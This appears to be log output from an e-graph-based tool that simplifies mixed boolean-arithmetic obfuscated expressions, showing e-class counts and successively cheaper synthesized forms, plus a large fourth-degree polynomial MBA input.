(x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*((T+(-((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)))+((((x-y)^(x*y))|(-((~x)*(x*y))))*A)))*D)-((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*N))-(((T+(-((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)))+((((x-y)^(x*y))|(-((~x)*(x*y))))*A))*N))+Q))-B)*D)-N)
====================================================================================================
eclasses #: 5787
Synthesized (cost = 203): (((((((((((-((((~((x-y)^(x*y)))|(((~x)*(x*y))+X))*A)+A))+B)*(((((x-y)^(x*y))|(((x*y)+y)*x))*A)+B))*D)-(((-((((~((x-y)^(x*y)))|(((~x)*(x*y))+X))*A)+A))+B)*N))-((((((x-y)^(x*y))|(((x*y)+y)*x))*A)+B)*N))+Q)+(((((((~((x-y)^(x*y)))|(((x*y)+y)*x))*O)+S)*F)-(((F+((x-y)^(x*y)))+(-(((x-y)^(x*y))|(((x*y)+y)*x))))*((((~((x-y)^(x*y)))|(((x*y)+y)*x))*O)+S)))-(((F+((x-y)^(x*y)))+(-(((x-y)^(x*y))|(((x*y)+y)*x))))*U)))+Z)*D)-N)
====================================================================================================
eclasses #: 130550
Synthesized (cost = 123): ((((((((x-y)^(x*y))|(((x*y)+y)*x))*U)+(((A*(((x-y)^(x*y))&(((x*y)+y)*x)))+B)*(((x-y)^(x*y))|(((x*y)+y)*x))))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
e-graph reset done.
====================================================================================================
eclasses #: 68
Synthesized (cost = 103): (((((A*(((x-y)^(x*y))&(((x*y)+y)*x)))*(((x-y)^(x*y))|(((x*y)+y)*x)))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
====================================================================================================
eclasses #: 127
Synthesized (cost = 103): (((((A*(((x-y)^(x*y))&(((x*y)+y)*x)))*(((x-y)^(x*y))|(((x*y)+y)*x)))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
====================================================================================================
eclasses #: 286
Synthesized (cost = 97): ((V+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))-(((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*F)))
====================================================================================================
eclasses #: 925
Synthesized (cost = 93): (((F*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((N+(((x-y)^(x*y))|(((x*y)+y)*x)))-((x-y)^(x*y)))))+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))
====================================================================================================
eclasses #: 6438
Synthesized (cost = 73): (((((x-y)^(x*y))-(((x-y)^(x*y))|(((x*y)+y)*x)))*(-(((x-y)^(x*y))&(~(((x*y)+y)*x)))))+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))
====================================================================================================
eclasses #: 143718
Synthesized (cost = 48): (((((x-y)^(x*y))|(((x*y)+y)*x))*((x-y)^(x*y)))-((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((x-y)^(x*y))))
e-graph reset done.
====================================================================================================
eclasses #: 21
Synthesized (cost = 48): (((((x-y)^(x*y))|(((x*y)+y)*x))*((x-y)^(x*y)))-((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((x-y)^(x*y))))
====================================================================================================
eclasses #: 37
Synthesized (cost = 15): (((x-y)^(x*y))*(((x*y)+y)*x))
====================================================================================================
Polynomial MBA (permutation, 4th degree) with two 64 bits variables
python3 synth.py --no-strip-opaque-variables
eclasses #: 1017
Input (cost = 5342): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*(-0x194a41bffffffffc))+0x67c62228de18a6ae)+((x*y)*(-0x12f7b14ffffffffd)))+((y^x)*(-0xca520dffffffffe)))+(((x|y)*(x|y))*(-0x6d0bbe4000000000)))+(((x|y)*(-0x23919d6000000000))*(x*y)))+(((x|y)*(-0x6d0bbe4000000000))*(y^x)))+(((x*y)*(x*y))*(-0x6d569b0400000000)))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000)))+((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y)))+((((x|y)*(x|y))*(-0x457290000000000))*(y^x)))+(((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y))))+((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x)))+(((x|y)*(-0x22b948000000000))*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*(-0x1138838800000000)))+((((x*y)*(x*y))*(-0x2271071000000000))*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((~((~x)|y))*0x22c04c00de18a6ae))+((x&y)*(-0x22c04c00de18a6ae)))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(~((~x)|y))))+(((x|y)*(-0x4a9fc5a000000000))*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(~((~x)|y))))+(((x*y)*(-0x37f7d43800000000))*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(~((~x)|y))))+(((y^x)*(-0x254fe2d000000000))*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(~((~x)|y))))+((y*(-0x666f84b000000000))*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(~((~x)|y))))+((((~x)^y)*(-0x666f84b000000000))*(x&y)))+(((~((~x)|y))*(~((~x)|y)))*0x3337c25800000000))+(((~((~x)|y))*(-0x666f84b000000000))*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(~((~x)|y))))+((((x|y)*(x|y))*(-0x3eff4a4000000000))*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(~((~x)|y))))+((((x|y)*(-0x5e7eef6000000000))*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(~((~x)|y))))+((((x|y)*(-0x3eff4a4000000000))*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(~((~x)|y))))+((((x*y)*(x*y))*(-0x436f99c400000000))*(x&y)))+((((x*y)*(-0x50c0885000000000))*(y^x))*y))+((((x*y)*(-0x50c0885000000000))*(y^x))*((~x)^y)))+((((x*y)*(-0x50c0885000000000))*(y^x))*(~((~x)|y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*(-0x70402d7000000000))*y))+((((y^x)*(y^x))*(-0x70402d7000000000))*((~x)^y)))+((((y^x)*(y^x))*(-0x70402d7000000000))*(~((~x)|y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*(-0x4b95822000000000))*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(~((~x)|y))))+((((x|y)*(-0x68d4fbc000000000))*y)*(x&y)))+(((x|y)*(-0x4b95822000000000))*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(~((~x)|y))))+((((x|y)*(-0x68d4fbc000000000))*((~x)^y))*(x&y)))+(((x|y)*(-0x4b95822000000000))*((~((~x)|y))*(~((~x)|y)))))+((((x|y)*(-0x68d4fbc000000000))*(~((~x)|y)))*(x&y)))+(((x|y)*(-0x4b95822000000000))*((x&y)*(x&y))))+(((x*y)*(-0x78b0219800000000))*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(~((~x)|y))))+((((x*y)*(-0xe9fbcd000000000))*y)*(x&y)))+(((x*y)*(-0x78b0219800000000))*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(~((~x)|y))))+((((x*y)*(-0xe9fbcd000000000))*((~x)^y))*(x&y)))+(((x*y)*(-0x78b0219800000000))*((~((~x)|y))*(~((~x)|y)))))+((((x*y)*(-0xe9fbcd000000000))*(~((~x)|y)))*(x&y)))+(((x*y)*(-0x78b0219800000000))*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*(-0x4b95822000000000))*y)*((~x)^y)))+((((y^x)*(-0x4b95822000000000))*y)*(~((~x)|y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*(-0x4b95822000000000))*((~x)^y))*(~((~x)|y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((~((~x)|y))*(~((~x)|y)))))+((((y^x)*0x4b95822000000000)*(~((~x)|y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*(-0x5bfeed000000000)))+(((y*y)*(-0x113fcc7000000000))*((~x)^y)))+(((y*y)*(-0x113fcc7000000000))*(~((~x)|y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*(-0x113fcc7000000000))*(((~x)^y)*((~x)^y))))+(((y*(-0x227f98e000000000))*((~x)^y))*(~((~x)|y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*(-0x113fcc7000000000))*((~((~x)|y))*(~((~x)|y)))))+(((y*0x227f98e000000000)*(~((~x)|y)))*(x&y)))+((y*(-0x113fcc7000000000))*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*(-0x5bfeed000000000)))+(((((~x)^y)*((~x)^y))*(-0x113fcc7000000000))*(~((~x)|y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*(-0x113fcc7000000000))*((~((~x)|y))*(~((~x)|y)))))+(((((~x)^y)*0x227f98e000000000)*(~((~x)|y)))*(x&y)))+((((~x)^y)*(-0x113fcc7000000000))*((x&y)*(x&y))))+(((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))*(-0x5bfeed000000000)))+((((~((~x)|y))*(~((~x)|y)))*0x113fcc7000000000)*(x&y)))+(((~((~x)|y))*(-0x113fcc7000000000))*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*y))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*(~((~x)|y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*y))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*(~((~x)|y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*y))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*(~((~x)|y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*y))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*(~((~x)|y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*y))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*(~((~x)|y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*y))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*(~((~x)|y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*y))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*(~((~x)|y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*y))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*(~((~x)|y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(~((~x)|y))))+((((x*y)*(-0x3e5f50a000000000))*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(~((~x)|y))))+((((y^x)*((y^x)*(y^x)))*(-0x7fa3674000000000))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(~((~x)|y))))+(((((x|y)*(x|y))*(-0x5816110000000000))*y)*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(~((~x)|y))))+(((((x|y)*(x|y))*(-0x5816110000000000))*((~x)^y))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(x|y))*(-0x5816110000000000))*(~((~x)|y)))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*((x&y)*(x&y))))+((((x|y)*(-0x7def734000000000))*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(~((~x)|y))))+(((((x|y)*(-0x421198000000000))*(x*y))*y)*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(~((~x)|y))))+(((((x|y)*(-0x421198000000000))*(x*y))*((~x)^y))*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(-0x421198000000000))*(x*y))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*((x&y)*(x&y))))+((((x|y)*(-0x53f4f78000000000))*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(~((~x)|y))))+(((((x|y)*(-0x5816110000000000))*(y^x))*y)*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(~((~x)|y))))+(((((x|y)*(-0x5816110000000000))*(y^x))*((~x)^y))*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(-0x5816110000000000))*(y^x))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(~((~x)|y))))+(((((x*y)*(x*y))*(-0x618c699000000000))*y)*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(~((~x)|y))))+(((((x*y)*(x*y))*(-0x618c699000000000))*((~x)^y))*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(x*y))*(-0x618c699000000000))*(~((~x)|y)))*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*(-0x7def734000000000))*(y^x))*y)*((~x)^y)))+(((((x*y)*(-0x7def734000000000))*(y^x))*y)*(~((~x)|y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*(-0x7def734000000000))*(y^x))*((~x)^y))*(~((~x)|y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(~((~x)|y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*y)*((~x)^y)))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*y)*(~((~x)|y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*((~x)^y))*(~((~x)|y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(~((~x)|y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*(-0xe7e9c8000000000))*(y*y))*((~x)^y)))+((((x|y)*(-0xe7e9c8000000000))*(y*y))*(~((~x)|y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*(-0x1cfd390000000000))*y)*((~x)^y))*(~((~x)|y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*0x1cfd390000000000)*y)*(~((~x)|y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*(-0xe7e9c8000000000))*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((x|y)*0xe7e9c8000000000)*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*(~((~x)|y)))*((x&y)*(x&y))))+(((x|y)*(-0x5080768000000000))*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*(-0x4adef56000000000))*(y*y))*((~x)^y)))+((((x*y)*(-0x4adef56000000000))*(y*y))*(~((~x)|y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(~((~x)|y))))+(((((x*y)*(-0x6a42154000000000))*y)*((~x)^y))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(-0x6a42154000000000))*y)*(~((~x)|y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*(-0x4adef56000000000))*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(-0x6a42154000000000))*((~x)^y))*(~((~x)|y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((x*y)*0x4adef56000000000)*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((x*y)*(-0x4adef56000000000))*(~((~x)|y)))*((x&y)*(x&y))))+(((x*y)*(-0x3c6058e000000000))*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(~((~x)|y))))+((((y^x)*(-0x78c0b1c000000000))*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*(-0xe7e9c8000000000))*y)*((~x)^y))*(~((~x)|y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(~((~x)|y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((y^x)*(-0x78c0b1c000000000))*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(~((~x)|y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((y^x)*(-0x78c0b1c000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(~((~x)|y)))*((x&y)*(x&y))))+(((y^x)*(-0x28403b4000000000))*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*(-0x7dfd875000000000)))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(~((~x)|y))))+(((y*(y*y))*(-0x809e2c000000000))*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(~((~x)|y))))+((((y*y)*(-0x181da84000000000))*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((~((~x)|y))*(~((~x)|y)))))+((((y*y)*(-0x181da84000000000))*(~((~x)|y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+(((y*(-0x181da84000000000))*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+((((y*(-0x303b508000000000))*((~x)^y))*(~((~x)|y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+(((y*(-0x181da84000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+(((y*0x181da84000000000)*(~((~x)|y)))*((x&y)*(x&y))))+((y*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*(-0x7dfd875000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(~((~x)|y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*(-0x809e2c000000000))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((~((~x)|y))*(~((~x)|y)))))+((((((~x)^y)*((~x)^y))*(-0x181da84000000000))*(~((~x)|y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+(((((~x)^y)*(-0x181da84000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(~((~x)|y)))*((x&y)*(x&y))))+((((~x)^y)*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+(((~((~x)|y))*((~((~x)|y))*((~((~x)|y))*(~((~x)|y)))))*(-0x7dfd875000000000)))+((((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))*(-0x809e2c000000000))*(x&y)))+((((~((~x)|y))*(~((~x)|y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((~((~x)|y))*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*(-0x7dfd875000000000)))
====================================================================================================
eclasses #: 1267
